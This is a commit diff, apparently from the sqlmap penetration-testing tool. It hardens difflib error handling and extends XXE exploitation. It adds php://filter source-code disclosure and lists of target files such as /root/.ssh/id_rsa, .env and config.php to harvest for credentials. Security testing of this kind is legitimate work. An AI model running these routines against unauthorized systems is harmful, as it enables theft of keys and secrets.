Minor update
Some checks failed
/ build (macos-latest, 3.8) (push) Has been cancelled
/ build (ubuntu-latest, pypy-2.7) (push) Has been cancelled
/ build (windows-latest, 3.14) (push) Has been cancelled

This commit is contained in:
Miroslav Štampar 2026-07-04 21:45:42 +02:00
parent 3bab3cd795
commit 6597415ab0
5 changed files with 121 additions and 17 deletions

View file

@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input or, rarely, with interpreter-level
# errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None
if ratio is None:

View file

@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "
if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
try:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input / interpreter-level hiccups; skip
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
commonWords = None
else:
commonWords = None
@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
infoMsg = "searching for dynamic content"
singleTimeLogMessage(infoMsg)
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
try:
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can blow up on pathological/oversized input (and, rarely, with
# interpreter-level errors under heavy threading); a failed dynamic-content
# search must degrade gracefully rather than abort the whole scan - mirrors the
# guard around the ratio computation in lib/request/comparison.py
return
if not merge:
kb.dynamicMarkings = []

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.29"
VERSION = "1.10.7.30"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = (
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
# secrets, key material, common application drop paths) - the XXE analogue of the
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
# request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = (
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"/flag",
"/flag.txt",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# Application web roots + source filenames used, once php://filter is available, to
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
# environ}. Best-effort and bounded.
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
XXE_SOURCE_NAMES = (
"index.php", "config.php", "config.inc.php", "secret.php",
"db.php", "database.php", "settings.php", "init.php", "functions.php",
"app.py", "server.py", "main.py", "wp-config.php", ".env",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).

View file

@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import XXE_SOURCE_NAMES
from lib.core.settings import XXE_WEBROOTS
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
return harvested
def _phpFilterWorks(xml, rootName):
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
requests for it."""
from lib.core.convert import decodeBase64
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
if match and match.group(1).strip():
try:
return bool(getText(decodeBase64(match.group(1).strip())).strip())
except Exception:
pass
return False
def _harvestSource(xml, rootName, harvested):
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
server-side application SOURCE code via php://filter (source is executed, never
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
(running script + working dir) combined with common web roots/source names, and
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
target. Returns a list of (path, content, payload)."""
if not _phpFilterWorks(xml, rootName):
return []
byPath = dict((p, c) for p, c, _ in harvested)
seen = set(getUnicode(c).strip() for c in byPath.values())
candidates = []
dirs = []
environ = getUnicode(byPath.get("/proc/self/environ", ""))
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
cwd = match.group(1).strip() if match else None
if cwd:
dirs.append(cwd)
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
for token in re.split(r"[\x00\s]+", cmdline):
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
if token.startswith("/"):
candidates.append(token) # absolute script path
elif cwd:
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
for directory in dirs:
for name in XXE_SOURCE_NAMES:
candidates.append("%s/%s" % (directory.rstrip("/"), name))
logger.info("attempting application source-code disclosure via php://filter")
result = []
read = set()
for path in candidates:
if path in read:
continue
read.add(path)
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip() and getUnicode(content).strip() not in seen:
seen.add(getUnicode(content).strip())
result.append((path, content, payload))
return result
def _tryInternal(xml, rootName, baseline):
"""T2 in-band: an internal general entity expands to the sentinel and is
reflected. Guarded by a negative control (sentinel absent from baseline) and
@ -716,7 +789,9 @@ def xxeScan():
if harvested:
found = True
firstPath, _, firstPayload = harvested[0]
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
# follow-up: server-side application source disclosure (php://filter)
harvested += _harvestSource(xml, rootName, harvested)
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested: